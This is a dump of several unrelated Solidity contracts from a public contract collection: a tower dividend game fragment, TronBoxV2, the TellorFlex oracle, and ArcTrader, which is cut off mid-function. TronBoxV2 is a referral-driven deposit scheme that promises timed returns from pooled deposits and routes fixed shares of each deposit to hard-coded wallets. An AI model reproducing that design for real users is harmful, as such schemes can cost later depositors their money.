uint256 _alreadyCashedOut = players[msg.sender].TowersList[_TowerType].RoundList[_RoundID].cashedOut;
uint256 _earnedNow = _totalEarned-_alreadyCashedOut;
require (_earnedNow > 0); // The total amount of dividends haven't been received by the player yet
players[msg.sender].TowersList[_TowerType].RoundList[_RoundID].cashedOut = _totalEarned;
if (!msg.sender.send(_earnedNow)){
players[msg.sender].TowersList[_TowerType].RoundList[_RoundID].cashedOut = _alreadyCashedOut;
}
return;
}
function referralCashout () public {
require (aff[msg.sender].balance > 0);
uint256 _balance = aff[msg.sender].balance;
aff[msg.sender].balance = 0;
if (!msg.sender.send(_balance)){
aff[msg.sender].balance = _balance;
}
}
function setNickname (string nickname, address _referralAddress)
public {
if (players[msg.sender].playerID == 0){
players[msg.sender] = PlayerInfo (playerID_counter, msg.sender, _referralAddress, nickname);
playersByID[playerID_counter] = PlayerInfo (playerID_counter, msg.sender, _referralAddress, nickname);
playerID_counter++;
}else{
players[msg.sender].nickname = nickname;
playersByID[players[msg.sender].playerID].nickname = nickname;
}
}
function _playerRoundsInfo (address _playerAddress, uint256 _TowerType, uint256 _RoundID)
public
view
returns (uint256, uint256, uint256, uint256, bool, address) {
uint256 _warriors = players[_playerAddress].TowersList[_TowerType].RoundList[_RoundID].warriors;
TowersInfo memory r = GameRounds[_TowerType].RoundList[_RoundID];
bool isFinished = true;
if (r.timeToFinish > now){
isFinished = false;
}
return (r.towerBalance*GameRounds[_TowerType].winnerShare/100,
_currentPlayerAmountUnclaimed(_playerAddress, _TowerType, _RoundID),
_warriors,
r.totalWarriors,
isFinished,
r.lastPlayer);
}
function _currentPlayerAmountUnclaimed (address _playerAddress, uint256 _TowerType, uint256 _RoundID)
public
view
returns (uint256) {
if (_RoundID == 0){
_RoundID = GameRounds[_TowerType].currentRoundID;
}
uint256 _warriors = players[_playerAddress].TowersList[_TowerType].RoundList[_RoundID].warriors;
uint256 _totalForCashOut = (_warriors*GameRounds[_TowerType].RoundList[_RoundID].towerBalance*GameRounds[_TowerType].dividendShare/GameRounds[_TowerType].RoundList[_RoundID].totalWarriors/100);
uint256 _unclaimedAmount = _totalForCashOut-players[_playerAddress].TowersList[_TowerType].RoundList[_RoundID].cashedOut;
return (_unclaimedAmount);
}
function _playerInfo (uint256 _playerID)
public
view
returns (uint256, address, string, uint256) {
return (playersByID[_playerID].playerID,
playersByID[_playerID].playerAddress,
playersByID[_playerID].nickname,
aff[playersByID[_playerID].playerAddress].balance);
}
function _playerBalance (address _playerAddress)
public
view
returns (uint256) {
return aff[_playerAddress].balance;
}
function _TowerRoundDetails (uint256 _TowerType, uint256 _RoundID)
public
view
returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, address) {
TowersInfo memory r = GameRounds[_TowerType].RoundList[_RoundID];
return (r.roundID,
r.towerBalance,
r.totalBalance,
r.totalWarriors,
r.timeToFinish,
r.timeLimit,
r.warriorToTime,
r.bonusPot,
r.lastPlayer);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
| 209,924 | 10,587 |
6ffc73e020c9bdb1d7f67451933f328440a1dd8b0c9ce1c5b1b761e95a37c37c
| 13,581 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TA/TAZ357dopBmJw2QgGC2ai9vNDLhwvALvPq_TronBoxV2.sol
| 3,658 | 13,198 |
//SourceUnit: TronBoxV2.sol
pragma solidity >=0.5.4;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Pausable is Ownable{
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
function pause() public onlyOwner whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyOwner whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
contract TronBoxV2 is Pausable{
using SafeMath for uint256;
struct Deposit {
uint256 boxId;
uint256 baseTime;
uint256 lastCollectedTime;
uint256 value;
}
struct Player {
uint256[] referralsCount;
uint256[] referralEarn;
address parent;
Deposit[] deposits;
uint256 withdrawns;
uint256 depositAmount;
uint256 balance;
}
uint256 public totalReferral;
uint256 public totalReferralEarn;
uint256 public totalDeposit;
uint256 public totalWithdrawn;
uint256[] public REF_PERCENT = [30, 15, 5]; //3%, 1.5%, 0.5%
uint256[] public BOX_RATE_DIVIDER = [2160000, 1728000, 1440000];
uint256[] public BOX_PERIOD = [50 days, 28 days, 20 days];
uint256 constant public MIN_DEPOSIT = 5000000;
uint256 constant public TEAM_PERCENT = 100; //10%
uint256 constant public LOTTERY_PERCENT = 45; //4.5%
uint256 constant public PAY_PERCENT = 5; //0.5%
uint256 constant public PERCENT_DIVIDER = 1000;
address payable constant public TEAM_WALLET = address(0x41e0e105b876f7d109468e76b92385f6cc2d9b057f);
address payable constant public GUARANTEED_WALLET = address(0x4168f65aea501ccb24936ee7d728c5027cf5dfc863);
address payable public payWallet;
uint256 public maxInvestPercent;
mapping(address => Player) public users;
event Registration(address indexed addr, address indexed referrer);
event Deposited(address indexed addr, address indexed referrer, uint256 amount, uint256 box, string predict);
event Withdrawn(address indexed addr, uint256 amount);
constructor() public {
_registration(msg.sender, address(0));
}
function setPayWallets(address payable pay) public onlyOwner {
require(pay != address(0), "Addr is the zero address");
payWallet = pay;
}
function setMaxInvestPercent(uint256 value) public onlyOwner {
require(value > 0, "Value must be greater than zero!");
maxInvestPercent = value;
}
function _registration(address addr, address ref) internal {
Player storage referrer = users[ref];
users[addr].parent = ref;
totalReferral = totalReferral.add(1);
if (referrer.referralsCount.length == 0){
referrer.referralsCount = new uint256[](3);
referrer.referralEarn = new uint256[](3);
}
uint256 level = 0;
address refWallet = ref;
while(refWallet != address(0) && level < 3){
users[refWallet].referralsCount[level] = users[refWallet].referralsCount[level].add(1);
refWallet = users[refWallet].parent;
level = level.add(1);
}
emit Registration(addr, ref);
}
function _updateReferralBalance(address referrer, uint256 amount) internal {
uint256 level = 0;
address refWallet = referrer;
while(refWallet != address(0) && level < 3){
uint256 refValue = amount.mul(REF_PERCENT[level]).div(PERCENT_DIVIDER);
users[refWallet].referralEarn[level] = users[refWallet].referralEarn[level].add(refValue);
users[refWallet].balance = users[refWallet].balance.add(refValue);
totalReferralEarn = totalReferralEarn.add(refValue);
refWallet = users[refWallet].parent;
level = level.add(1);
}
}
function register(address referrer) public {
require(users[msg.sender].parent == address(0), "Inviter address was set in the TronBox network!");
require(users[referrer].parent != address(0) || referrer == owner(), "Inviter address does not exist in the TronBox network!");
_registration(msg.sender, referrer);
}
function deposit(address referrer, uint256 boxId, string memory predict) public payable whenNotPaused {
require(now > 1600329600, "Investment time not reached!");
require(boxId < 3, "The box must be chosen correctly!");
uint256 amount = msg.value;
require(amount >= MIN_DEPOSIT, "Your investment amount is less than the minimum amount!");
address addr = msg.sender;
require(totalDeposit < 5000000000000 || users[addr].depositAmount.add(amount) <= totalDeposit.mul(maxInvestPercent).div(PERCENT_DIVIDER), "Your investment amount is more than the maximum invest limit!");
if (users[addr].parent == address(0)){
require(users[referrer].parent != address(0) || referrer == owner(), "Inviter address does not exist in the TronBox network!");
_registration(msg.sender, referrer);
}
users[addr].deposits.push(Deposit(boxId, now, now, amount));
users[addr].depositAmount = users[addr].depositAmount.add(amount);
totalDeposit = totalDeposit.add(amount);
_updateReferralBalance(referrer, amount);
uint256 guaranteedAmount = amount.mul(LOTTERY_PERCENT).div(PERCENT_DIVIDER);
GUARANTEED_WALLET.transfer(guaranteedAmount);
uint256 payAmount = amount.mul(PAY_PERCENT).div(PERCENT_DIVIDER);
payWallet.transfer(payAmount);
uint256 adminFee = amount.mul(TEAM_PERCENT).div(PERCENT_DIVIDER);
TEAM_WALLET.transfer(adminFee);
emit Withdrawn(GUARANTEED_WALLET, guaranteedAmount);
emit Withdrawn(payWallet, payAmount);
emit Withdrawn(TEAM_WALLET, adminFee);
emit Deposited(addr, referrer, amount, boxId, predict);
}
function reinvest(uint256 amount, uint256 boxId, string memory predict) public whenNotPaused {
require(boxId < 3, "The box must be chosen correctly!");
require(amount >= MIN_DEPOSIT, "Your reinvest amount is less than the minimum amount!");
address addr = msg.sender;
require(users[addr].parent != address(0), "The address does not exist in the TronBox network!");
uint256 value = collect(addr);
uint256 balance = users[addr].balance.add(value);
require(amount <= balance, "Your balance is less than the reinvest amount!");
uint256 adminFee = amount.mul(TEAM_PERCENT).div(PERCENT_DIVIDER);
uint256 guaranteedAmount = amount.mul(LOTTERY_PERCENT).div(PERCENT_DIVIDER);
require(guaranteedAmount.add(adminFee) <= address(this).balance, "Couldn't withdraw more than total TRX balance on the contract");
users[addr].withdrawns = users[addr].withdrawns.add(amount);
users[addr].balance = balance.sub(amount);
totalWithdrawn = totalWithdrawn.add(amount);
users[addr].deposits.push(Deposit(boxId, now, now, amount));
users[addr].depositAmount = users[addr].depositAmount.add(amount);
totalDeposit = totalDeposit.add(amount);
_updateReferralBalance(users[addr].parent, amount);
GUARANTEED_WALLET.transfer(guaranteedAmount);
TEAM_WALLET.transfer(adminFee);
emit Withdrawn(GUARANTEED_WALLET, guaranteedAmount);
emit Withdrawn(TEAM_WALLET, adminFee);
emit Deposited(addr, users[addr].parent, amount, boxId, predict);
}
function withdraw(uint256 amount) public {
address payable addr = msg.sender;
uint256 value = collect(addr);
uint256 balance = users[addr].balance.add(value);
require(amount <= balance, "Your balance is less than withdraw amount!");
require(amount <= address(this).balance, "Couldn't withdraw more than total TRX balance on the contract");
users[addr].withdrawns = users[addr].withdrawns.add(amount);
users[addr].balance = balance.sub(amount);
totalWithdrawn = totalWithdrawn.add(amount);
addr.transfer(amount);
emit Withdrawn(addr, amount);
}
function collect(address addr) private returns (uint256){
Deposit[] storage invests = users[addr].deposits;
uint256 profit = 0;
uint256 i = 0;
while (i < invests.length){
Deposit storage invest = invests[i];
if (invest.lastCollectedTime < invest.baseTime.add(BOX_PERIOD[invest.boxId])){
uint256 remainedTime = BOX_PERIOD[invest.boxId].sub(invest.lastCollectedTime.sub(invest.baseTime));
if (remainedTime > 0){
uint256 timeSpent = now.sub(invest.lastCollectedTime);
if (remainedTime <= timeSpent){
timeSpent = remainedTime;
}
invest.lastCollectedTime = now;
profit = profit.add(invest.value.mul(timeSpent).div(BOX_RATE_DIVIDER[invest.boxId]));
}
}
i++;
}
return profit;
}
function getTotalStats() public view returns (uint256[] memory) {
uint256[] memory combined = new uint256[](5);
combined[0] = totalDeposit;
combined[1] = address(this).balance;
combined[2] = totalReferral;
combined[3] = totalWithdrawn;
combined[4] = totalReferralEarn;
return combined;
}
function getPlayerDeposit(address addr) public view returns
(uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory) {
Deposit[] memory invests = users[addr].deposits;
uint256[] memory boxIds = new uint256[](invests.length);
uint256[] memory baseTimes = new uint256[](invests.length);
uint256[] memory lastCollectedTimes = new uint256[](invests.length);
uint256[] memory values = new uint256[](invests.length);
uint256 i = 0;
while (i < invests.length){
Deposit memory invest = invests[i];
boxIds[i] = invest.boxId;
baseTimes[i] = invest.baseTime;
lastCollectedTimes[i] = invest.lastCollectedTime;
values[i] = invest.value;
i++;
}
return (boxIds, baseTimes, lastCollectedTimes, values);
}
function getPlayerStat(address addr) public view returns
(uint256[] memory, uint256[] memory, address, uint256, uint256, uint256) {
return (users[addr].referralsCount, users[addr].referralEarn, users[addr].parent,
users[addr].withdrawns, users[addr].balance, users[addr].depositAmount);
}
}
| 301,753 | 10,588 |
6c3b4121db426bae5bc678f413a7f71def8c4df01c22b9861f8218cf793d38e3
| 21,149 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/73/73B6715D9289bdfE5e758bB7ace782Cc7C933cfC_TellorFlex.sol
| 3,201 | 13,468 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
}
contract TellorFlex {
IERC20 public token;
address public governance;
uint256 public stakeAmount; //amount required to be a staker
uint256 public totalStakeAmount; //total amount of tokens locked in contract (via stake)
uint256 public reportingLock; // base amount of time before a reporter is able to submit a value again
uint256 public timeOfLastNewValue = block.timestamp; // time of the last new submitted value, originally set to the block timestamp
mapping(bytes32 => Report) private reports; // mapping of query IDs to a report
mapping(address => StakeInfo) stakerDetails; //mapping from a persons address to their staking info
// Structs
struct Report {
uint256[] timestamps; // array of all newValueTimestamps reported
mapping(uint256 => uint256) timestampIndex; // mapping of timestamps to respective indices
mapping(uint256 => uint256) timestampToBlockNum; // mapping of timestamp to block number
mapping(uint256 => bytes) valueByTimestamp; // mapping of timestamps to values
mapping(uint256 => address) reporterByTimestamp; // mapping of timestamps to reporters
}
struct StakeInfo {
uint256 startDate; //stake start date
uint256 stakedBalance; // staked balance
uint256 lockedBalance; // amount locked for withdrawal
uint256 reporterLastTimestamp; // timestamp of reporter's last reported value
uint256 reportsSubmitted; // total number of reports submitted by reporter
mapping(bytes32 => uint256) reportsSubmittedByQueryId;
}
// Events
event NewGovernanceAddress(address _newGovernanceAddress);
event NewReport(bytes32 _queryId,
uint256 _time,
bytes _value,
uint256 _nonce,
bytes _queryData,
address _reporter);
event NewReportingLock(uint256 _newReportingLock);
event NewStakeAmount(uint256 _newStakeAmount);
event NewStaker(address _staker, uint256 _amount);
event ReporterSlashed(address _reporter,
address _recipient,
uint256 _slashAmount);
event StakeWithdrawRequested(address _staker, uint256 _amount);
event StakeWithdrawn(address _staker);
event ValueRemoved(bytes32 _queryId, uint256 _timestamp);
constructor(address _token,
address _governance,
uint256 _stakeAmount,
uint256 _reportingLock) {
require(_token != address(0), "must set token address");
require(_governance != address(0), "must set governance address");
token = IERC20(_token);
governance = _governance;
stakeAmount = _stakeAmount;
reportingLock = _reportingLock;
}
function changeGovernanceAddress(address _newGovernanceAddress) external {
require(msg.sender == governance, "caller must be governance address");
require(_newGovernanceAddress != address(0),
"must set governance address");
governance = _newGovernanceAddress;
emit NewGovernanceAddress(_newGovernanceAddress);
}
function changeReportingLock(uint256 _newReportingLock) external {
require(msg.sender == governance, "caller must be governance address");
require(_newReportingLock > 0,
"reporting lock must be greater than zero");
reportingLock = _newReportingLock;
emit NewReportingLock(_newReportingLock);
}
function changeStakeAmount(uint256 _newStakeAmount) external {
require(msg.sender == governance, "caller must be governance address");
require(_newStakeAmount > 0, "stake amount must be greater than zero");
stakeAmount = _newStakeAmount;
emit NewStakeAmount(_newStakeAmount);
}
function depositStake(uint256 _amount) external {
StakeInfo storage _staker = stakerDetails[msg.sender];
if (_staker.lockedBalance > 0) {
if (_staker.lockedBalance >= _amount) {
_staker.lockedBalance -= _amount;
} else {
require(token.transferFrom(msg.sender,
address(this),
_amount - _staker.lockedBalance));
_staker.lockedBalance = 0;
}
} else {
require(token.transferFrom(msg.sender, address(this), _amount));
}
_staker.startDate = block.timestamp; // This resets their stake start date to now
_staker.stakedBalance += _amount;
totalStakeAmount += _amount;
emit NewStaker(msg.sender, _amount);
}
function removeValue(bytes32 _queryId, uint256 _timestamp) external {
require(msg.sender == governance, "caller must be governance address");
Report storage rep = reports[_queryId];
uint256 _index = rep.timestampIndex[_timestamp];
require(_timestamp == rep.timestamps[_index], "invalid timestamp");
// Shift all timestamps back to reflect deletion of value
for (uint256 _i = _index; _i < rep.timestamps.length - 1; _i++) {
rep.timestamps[_i] = rep.timestamps[_i + 1];
rep.timestampIndex[rep.timestamps[_i]] -= 1;
}
// Delete and reset timestamp and value
delete rep.timestamps[rep.timestamps.length - 1];
rep.timestamps.pop();
rep.valueByTimestamp[_timestamp] = "";
rep.timestampIndex[_timestamp] = 0;
emit ValueRemoved(_queryId, _timestamp);
}
function requestStakingWithdraw(uint256 _amount) external {
StakeInfo storage _staker = stakerDetails[msg.sender];
require(_staker.stakedBalance >= _amount,
"insufficient staked balance");
_staker.startDate = block.timestamp;
_staker.lockedBalance += _amount;
_staker.stakedBalance -= _amount;
totalStakeAmount -= _amount;
emit StakeWithdrawRequested(msg.sender, _amount);
}
function slashReporter(address _reporter, address _recipient)
external
returns (uint256)
{
require(msg.sender == governance, "only governance can slash reporter");
StakeInfo storage _staker = stakerDetails[_reporter];
require(_staker.stakedBalance + _staker.lockedBalance > 0,
"zero staker balance");
uint256 _slashAmount;
if (_staker.lockedBalance >= stakeAmount) {
_slashAmount = stakeAmount;
_staker.lockedBalance -= stakeAmount;
} else if (_staker.lockedBalance + _staker.stakedBalance >= stakeAmount) {
_slashAmount = stakeAmount;
_staker.stakedBalance -= stakeAmount - _staker.lockedBalance;
totalStakeAmount -= stakeAmount - _staker.lockedBalance;
_staker.lockedBalance = 0;
} else {
_slashAmount = _staker.stakedBalance + _staker.lockedBalance;
totalStakeAmount -= _staker.stakedBalance;
_staker.stakedBalance = 0;
_staker.lockedBalance = 0;
}
token.transfer(_recipient, _slashAmount);
emit ReporterSlashed(_reporter, _recipient, _slashAmount);
return (_slashAmount);
}
function submitValue(bytes32 _queryId,
bytes calldata _value,
uint256 _nonce,
bytes memory _queryData) external {
Report storage rep = reports[_queryId];
require(_nonce == rep.timestamps.length || _nonce == 0,
"nonce must match timestamp index");
StakeInfo storage _staker = stakerDetails[msg.sender];
require(_staker.stakedBalance >= stakeAmount,
"balance must be greater than stake amount");
// Require reporter to abide by given reporting lock
require((block.timestamp - _staker.reporterLastTimestamp) * 1000 >
(reportingLock * 1000) / (_staker.stakedBalance / stakeAmount),
"still in reporter time lock, please wait!");
require(_queryId == keccak256(_queryData) || uint256(_queryId) <= 100,
"id must be hash of bytes data");
_staker.reporterLastTimestamp = block.timestamp;
// Checks for no double reporting of timestamps
require(rep.reporterByTimestamp[block.timestamp] == address(0),
"timestamp already reported for");
// Update number of timestamps, value for given timestamp, and reporter for timestamp
rep.timestampIndex[block.timestamp] = rep.timestamps.length;
rep.timestamps.push(block.timestamp);
rep.timestampToBlockNum[block.timestamp] = block.number;
rep.valueByTimestamp[block.timestamp] = _value;
rep.reporterByTimestamp[block.timestamp] = msg.sender;
// Update last oracle value and number of values submitted by a reporter
timeOfLastNewValue = block.timestamp;
_staker.reportsSubmitted++;
_staker.reportsSubmittedByQueryId[_queryId]++;
emit NewReport(_queryId,
block.timestamp,
_value,
_nonce,
_queryData,
msg.sender);
}
function withdrawStake() external {
StakeInfo storage _s = stakerDetails[msg.sender];
// Ensure reporter is locked and that enough time has passed
require(block.timestamp - _s.startDate >= 7 days, "7 days didn't pass");
require(_s.lockedBalance > 0, "reporter not locked for withdrawal");
token.transfer(msg.sender, _s.lockedBalance);
_s.lockedBalance = 0;
emit StakeWithdrawn(msg.sender);
}
//Getters
function getBlockNumberByTimestamp(bytes32 _queryId, uint256 _timestamp)
external
view
returns (uint256)
{
return reports[_queryId].timestampToBlockNum[_timestamp];
}
function getCurrentValue(bytes32 _queryId)
external
view
returns (bytes memory)
{
return
reports[_queryId].valueByTimestamp[
reports[_queryId].timestamps[
reports[_queryId].timestamps.length - 1
]
];
}
function getGovernanceAddress() external view returns (address) {
return governance;
}
function getNewValueCountbyQueryId(bytes32 _queryId)
external
view
returns (uint256)
{
return reports[_queryId].timestamps.length;
}
function getReportDetails(bytes32 _queryId, uint256 _timestamp)
external
view
returns (address, bool)
{
bool _wasRemoved = reports[_queryId].timestampIndex[_timestamp] == 0 &&
keccak256(reports[_queryId].valueByTimestamp[_timestamp]) ==
keccak256(bytes("")) &&
reports[_queryId].reporterByTimestamp[_timestamp] != address(0);
return (reports[_queryId].reporterByTimestamp[_timestamp], _wasRemoved);
}
function getReporterByTimestamp(bytes32 _queryId, uint256 _timestamp)
external
view
returns (address)
{
return reports[_queryId].reporterByTimestamp[_timestamp];
}
function getReporterLastTimestamp(address _reporter)
external
view
returns (uint256)
{
return stakerDetails[_reporter].reporterLastTimestamp;
}
function getReportingLock() external view returns (uint256) {
return reportingLock;
}
function getReportsSubmittedByAddress(address _reporter)
external
view
returns (uint256)
{
return stakerDetails[_reporter].reportsSubmitted;
}
function getReportsSubmittedByAddressAndQueryId(address _reporter,
bytes32 _queryId) external view returns (uint256) {
return stakerDetails[_reporter].reportsSubmittedByQueryId[_queryId];
}
function getStakeAmount() external view returns (uint256) {
return stakeAmount;
}
function getStakerInfo(address _staker)
external
view
returns (uint256,
uint256,
uint256,
uint256,
uint256)
{
return (stakerDetails[_staker].startDate,
stakerDetails[_staker].stakedBalance,
stakerDetails[_staker].lockedBalance,
stakerDetails[_staker].reporterLastTimestamp,
stakerDetails[_staker].reportsSubmitted);
}
function getTimeOfLastNewValue() external view returns (uint256) {
return timeOfLastNewValue;
}
function getTimestampbyQueryIdandIndex(bytes32 _queryId, uint256 _index)
external
view
returns (uint256)
{
return reports[_queryId].timestamps[_index];
}
function getTimestampIndexByTimestamp(bytes32 _queryId, uint256 _timestamp)
external
view
returns (uint256)
{
return reports[_queryId].timestampIndex[_timestamp];
}
function getTokenAddress() external view returns (address) {
return address(token);
}
function getTotalStakeAmount() external view returns (uint256) {
return totalStakeAmount;
}
function retrieveData(bytes32 _queryId, uint256 _timestamp)
external
view
returns (bytes memory)
{
return reports[_queryId].valueByTimestamp[_timestamp];
}
}
| 44,525 | 10,589 |
8c40a1d55d3db44f776d3aaa9839aa11423ed3e2125ccf6deffe4fdc3bf7c11d
| 11,477 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/a3/a358e05a8d65e79daaa5d0480bf26432d6dc63a1_ArcTrader.sol
| 3,000 | 10,978 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
// NOTE: All of the following interfaces are trimmed to only the functions that we need
interface IERC20 {
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function symbol() external pure returns (string memory);
function transferFrom(address sender, address recipient, uint256 amount)
external returns (bool);
}
interface IFactory {
function getPair(address tokenA, address tokenB, bool stable) external returns (address);
}
interface IPair {
// The amounts of the two tokens in the pair. These are sorted by address,
// so reserve0 will be for the token with the lower address.
// NOTE: The Archly source (as well as some other Solidly forks) define the returns types
// differently, with uint256 everywhere. But this doesn't matter here since all return
// values are padded to 256 bits anyway.
function getReserves() external view returns (uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast);
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}
contract ArcTrader {
// The Arc token address
address immutable public Arc;
// Address of the Archly pair factory
address immutable public PairFactory;
// The tokens that Arc may have pools with (pools with other tokens will be ignored),
// set in the constructor. Tokens with transfer tax are not supported.
address[] public Tokens;
// The Arc/Token (or Token/Arc) liquidity pools. This is set in the constructor but may
// be updated to include newly added pools (for existing tokens) by calling the public
// function updatePools().
address[] public Pools;
// The constructor sets the Arc token address, the Archly pair factory and all the tokens
// with which Arc will (potentially) have pools (only volatile pools are considered).
constructor(address arc, address pairFactory, address[] memory tokens) {
// Gas optimization is less important here but errors could be cause headaches (and be
// costly) so we include some extra checks with descriptive error messages.
try IERC20(arc).symbol() returns (string memory symbol) {
require(_isArc(symbol), string.concat(string.concat("ArcTrader: arc token address is the ", symbol), " token"));
} catch {
require(false, "ArcTrader: invalid Arc token address.");
}
Arc = arc;
require(tokens.length >= 1, "ArcTrader: Arc must have a pool with at least one token");
// Verify that the factory is correct and that the pair for the first token exists
try IFactory(pairFactory).getPair(Arc, tokens[0], false) returns (address pairAddress) {
require(pairAddress != address(0), "ArcTrader: a pool with the first token must exist");
} catch {
require(false, "ArcTrader: invalid pairFactory address.");
}
PairFactory = pairFactory;
for (uint256 i = 0; i < tokens.length; ++i) {
require(tokens[i] != arc, "ArcTrader: Arc cannot have a pair with itself");
try IERC20(tokens[i]).balanceOf(address(this)) { }
catch {
require(false, "ArcTrader: one or more token addresses are not valid tokens.");
}
for (uint256 j = 0; j < i; ++j) {
require(tokens[i] != tokens[j], "ArcTrader: duplicate token.");
}
Tokens.push(tokens[i]);
Pools.push(address(0));
}
// Find and save the pool addresses
updatePools();
}
// This function should be called when one or more new pool (with token we use) have been
// created.
function updatePools() public {
uint256 count = Tokens.length;
unchecked {
for (uint256 i = 0; i < count; ++i) {
if (Pools[i] == address(0)) {
Pools[i] = IFactory(PairFactory).getPair(Arc, Tokens[i], false);
}
}
}
}
// Sells ALL the caller's Arc tokens (for convenience and gas savings).
function sellAll() external {
sell(IERC20(Arc).balanceOf(msg.sender));
}
// Sells Arc for the other tokens in the right proportions.
function sell(uint256 arcAmount) public {
require(_allowance(Arc, msg.sender, address(this)) >= arcAmount,
"ArcTrader: insufficient Arc allowance");
require(IERC20(Arc).balanceOf(msg.sender) >= arcAmount,
"ArcTrader: insufficient Arc balance");
uint256 count = Tokens.length;
uint256[] memory arcReserves = new uint256[](count);
unchecked {
// Get all the pool reserves and also sum up the total.
uint256 totalArcReserve = 0;
for (uint256 i = 0; i < count; ++i) {
if (Pools[i] != address(0)) {
uint256 arcReserve;
if (Arc < Tokens[i]) {
(arcReserve,) = _getReserves(Pools[i]);
} else {
(,arcReserve) = _getReserves(Pools[i]);
}
arcReserves[i] = arcReserve;
totalArcReserve += arcReserve;
}
}
// Compute how many Arc to sell into each pool and perform the swaps.
// Skip the first (always existing) pool; it will be used last.
uint256 arcSold = 0;
uint256 sellAmount;
for (uint256 i = 1; i < count; ++i) {
if (arcReserves[i] > 0) {
sellAmount = arcAmount * arcReserves[i] / totalArcReserve;
_swap(Pools[i], Arc, Tokens[i], sellAmount);
arcSold += sellAmount;
}
}
// For the remaining pool the amount is simply what's left (this saves gas and makes sure
// we sell the exact right amount).
sellAmount = arcAmount - arcSold;
_swap(Pools[0], Arc, Tokens[0], sellAmount);
}
}
// Buys a specific amount of Arc using the right amount of all the other tokens.
// Note that spend approvals must have been given to all tokens (that have pools) and the
// caller must have enough balance of them.
function buy(uint256 arcAmount) external {
uint256 count = Tokens.length;
uint256[] memory arcReserves = new uint256[](count);
unchecked {
// Get all the pool reserves and also sum up the total.
uint256 totalArcReserve = 0;
for (uint256 i = 0; i < count; ++i) {
if (Pools[i] != address(0)) {
uint256 arcReserve;
if (Arc < Tokens[i]) {
(arcReserve,) = _getReserves(Pools[i]);
} else {
(,arcReserve) = _getReserves(Pools[i]);
}
arcReserves[i] = arcReserve;
totalArcReserve += arcReserve;
}
}
// Compute how many Arc we want to get from each pool and perform the swaps.
// Skip the first (always existing) pool; it will be used last.
uint256 arcBought = 0;
uint256 buyAmount;
for (uint256 i = 1; i < count; ++i) {
if (arcReserves[i] > 0) {
buyAmount = arcAmount * arcReserves[i] / totalArcReserve;
_reverseSwap(Pools[i], Arc, Tokens[i], buyAmount);
arcBought += buyAmount;
}
}
// For the remaining pool the amount is simply what's left (this saves gas and makes sure
// we sell the exact right amount).
buyAmount = arcAmount - arcBought;
_reverseSwap(Pools[0], Arc, Tokens[0], buyAmount);
}
}
// Helper functions to make the contract smaller and more readable
function _allowance(address token, address owner, address spender)
private view returns (uint256) {
